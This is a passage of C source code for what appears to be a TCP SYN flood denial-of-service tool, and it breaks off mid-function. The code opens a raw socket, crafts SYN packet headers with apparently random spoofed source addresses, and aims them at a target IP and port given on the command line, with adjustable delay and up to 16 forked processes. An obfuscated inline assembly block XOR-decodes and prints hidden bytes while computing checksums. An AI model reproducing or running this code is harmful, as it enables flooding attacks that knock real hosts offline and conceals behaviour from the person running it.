static int ultodec(const unsigned long n,char *buf) { unsigned long d=1000000000,v=n; int r; char *p=buf;
do { if (v/d) break; } while (d/=10);
if (!d) *p++='0'; else do { r=v/d; *p++='0'+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf);
}
static int ulltodec(const unsigned long long n,char *buf) { unsigned long long d=1000000000L,v=n; int r; char *p=buf;
d*=10000000000L;
do { if (v/d) break; } while (d/=10);
if (!d) *p++='0'; else do { r=v/d; *p++='0'+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf);
}
static int inttodec(const unsigned long n,char *buf) { unsigned long d=1000000000,v=n; int r; char *p=buf;
if (v&0x80000000) { *p++='-'; v=((v&0x7fffffff)^0x7fffffff)+1; }
do { if (v/d) break; } while (d/=10);
if (!d) *p++='0'; else do { r=v/d; *p++='0'+r; v-=(r*d); } while(d/=10); *p=0; return((int)p-(int)buf);
}
static unsigned long dectoul(const char *buf) { int p=0; unsigned long v=0; char nc;
while ((nc=buf[p++])) { if ((nc<'0') || (nc>'9')) return(-1); v=(v*10)+(nc-'0'); } if (p==1) return(-1); return(v);
}
static unsigned long long dectoull(const char *buf) { int p=0; unsigned long long v=0; char nc;
while ((nc=buf[p++])) { if ((nc<'0') || (nc>'9')) return(-1); v=(v*10)+(nc-'0'); } if (p==1) return(-1); return(v);
}
static int pf(int fd,const char *fmt,...) { int pos=0,sc=0,cl,cv; char nc; int *param,*param_inval; char buf[1024],*bufp=buf;
asm volatile("movl %%ebp,%%eax;addl $16,%%eax":"=eax"(param)); asm volatile("movl (%%ebp),%%eax;decl %%eax;":"=eax"(param_inval));
if ((int)param>(int)param_inval) return(-1);
while ((nc=fmt[pos++])) { if (sc==1) {
sc=0;
if (nc=='U') {
if (param==param_inval) return(-1);
bufp+=ulltodec(*((unsigned long long *)param++),bufp);
continue;
}
if (nc=='d') {
if (param==param_inval) return(-1);
bufp+=inttodec(*param++,bufp);
continue;
}
if (nc=='s') {
if (param==param_inval) return(-1);
bufp+=strcpy(bufp,(void *)*param++);
continue;
} } if (nc=='%') {
sc=1;
continue; } *bufp++=nc; } *bufp++=0; write(fd,buf,(int)bufp-(int)buf);
}
struct sockaddr_in { unsigned short family; unsigned short port; unsigned long addr; unsigned char filler[8];
};
#define INADDR_NONE -1
static unsigned long inet_addr(const char *ipstr) { int p=0,cc=0; char nc; unsigned long ip,s=0; unsigned short v=0;
if ((ip=dectoul(ipstr))==-1) { ip=0;
while ((nc=ipstr[p++])) {
if (nc=='.') {
if (!cc) return(INADDR_NONE);
if (s==24) return(INADDR_NONE);
ip|=(v<<s);
s+=8;
cc=0;
v=0;
continue;
}
if (cc==3) return(INADDR_NONE);
if (cc==2) if (!v) return(INADDR_NONE);
cc++;
if ((nc<'0') || (nc>'9')) return(INADDR_NONE);
if ((v=(v*10)+(nc-'0'))>255) return(INADDR_NONE); } if (!cc) return(INADDR_NONE); if (s!=24) return(INADDR_NONE); ip|=(v<<24); }
return(ip);
}
struct iphdr { unsigned char verihl; unsigned char tos; unsigned short len; unsigned short id; unsigned short flg_ofs; unsigned char ttl; unsigned char proto; unsigned short sum; unsigned long src; unsigned long dst;
};
struct tcphdr { unsigned short sport; unsigned short dport; unsigned long seq; unsigned long ackseq; unsigned char thl; unsigned char flags; unsigned short win; unsigned short sum; unsigned short urgptr;
};
void handle_signal(int signum) {
if (killed) return;
killed=1;
if (starttime) { long long elapsed=utime()-starttime;
if (!elapsed) elapsed=1;
pf(2,"pid %d: ",getpid()); pf(2,"ran for %Us, ",elapsed/1000000); pf(2,"%U packets out, ",sendcount); pf(2,"%U bytes/s\n",(sendcount*48000000)/elapsed); }
if (mainthread) { cleanup_children(); nsleep(2000000000L); pf(2,"aborting due to signal %d\n",signum); }
exit(32+signum);
}
#define rmvc(ip) { unsigned char c=ip&0xff;int n; for (n=0;n<16;n++) if (vc[n]==c) {vc[n]=202;break;} }
#define rndip() ({ int r; unsigned char c; r=rndint(); if ((c=(r>>24))&0xfe) c-=2; ((c+1)<<24)|(r&0x00ffff00)|(vc[r&0xf]); })
int main(int argc,char **argv) { int fd,presum,portmask,dport; struct sockaddr_in dst; long long delay=10000000;
{int n;for (n=1;n<32;n++) signal(n,handle_signal);}
if (!argc) return(1);
if ((fd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))<0) { pf(2,"error %d while creating socket\n",fd); return(2); }
{
int one=1;
if ((one=setsockopt(fd,IPPROTO_IP,IP_HDRINCL,&one,sizeof(one)))) {
pf(2,"error %d while enabling IP_HDRINCL\n",one);
return(3);
} }
if (argc<3) { pf(2,"%s <ip> <port (0=rnd)> [ns (1s/10^9) delay] [threads (dfl:1)]\n",argv[0]); return(4); }
if ((syn.ip.dst=dst.addr=inet_addr(argv[1]))==INADDR_NONE) { pf(2,"invalid ip: %s\n",argv[1]); return(5); }
rmvc(dst.addr);
{
int dstport;
do {
if ((dstport=dectoul(argv[2]))!=-1)
if (!(dstport&0xffff0000)) break;
pf(2,"invalid port: %s\n",argv[2]);
return(6);
} while(0);
if ((dst.port=htons(dstport))) {
dport=dst.port;
portmask=0xffffff;
} else {
dport=htons(1024);
portmask=0xffffffff;
} }
dst.family=AF_INET;
if (argc>3) {
if ((delay=dectoull(argv[3]))==-1) {
pf(2,"invalid delay: %s\n",argv[3]);
return(7); } }
presum=(dst.addr&0xffff)+(dst.addr>>16)+29310; presum=((presum>>16)+(presum&0xffff)); presum=((presum>>16)+presum);
asm volatile("jmp 0f;2:;call 3f;0:;pushl %%edi;pushl %%esi;pushl %%edx;pushl %%ecx;pushl %%ebx;clc;1:;lodsw;adcw %%ax,%%dx;loop 1b;nop;nop;nop;nop;adcw $0,%%dx;pushl %%edx;movl $1044128573,%%edx;jmp 2b;3:;popl %%esi;movl %%esp,%%edi;subl $21,%%edi;movl %%edi,%%ecx;lodsl;xorl %%edx,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-834108802,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-1027902650,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-203227222,%%eax;xorl %%eax,%%edx;stosl;lodsl;xorl $-1595534091,%%eax;xorl %%eax,%%edx;stosl;movb $10,%%al;movl %%edx,%%esi;stosb;movl $4,%%eax;movl $2,%%ebx;movl $21,%%edx;int $128;movl %%esi,%%eax;movl %%eax,%%edx;shrl $16,%%eax;xorw %%ax,%%dx;popl %%eax;subw %%dx,%%ax;sbbw $0,%%ax;popl %%ebx;popl %%ecx;popl %%edx;popl %%esi;popl %%edi;":"=eax"(presum):"c"(14),"d"(presum),"S"(&syn.tcp)); syn.tcp.sport=htons(1024); syn.tcp.dport=dport;
pf(1,"target=%s:%d delay=%U\n",inet_ntoa(dst.addr),ntohs(dst.port),delay);
if (argc>4) {
int children,idx=0;
if ((children=dectoul(argv[4]))==-1) {
pf(2,"invalid thread count: %d, invalid numeric format\n",argv[4]);
return(8); } if (children) childcount=(children-=1); if (children&0xfffffff0) {
pf(2,"invalid thread count: %d, max is 16\n",argv[4]);
return(8); } while (children--) {
int cpid=fork();
if (cpid<0) {
if (idx--) do {
kill(childpid[idx],9);
if (idx) idx--;
} while (idx);
pf(2,"forking error\n");
return(8);
}
if (!cpid) {
mainthread=0;
childcount=0;
break;
}
childpid[idx++]=cpid; } if (childcount) {
pf(1,"using %d threads, pids: %d(main)",childcount+1,getpid());
{
int n=childcount;
while (n--) pf(1," %d",childpid[n]);
}
pf(1,"\n"); } }
{
int a[6],fails=0;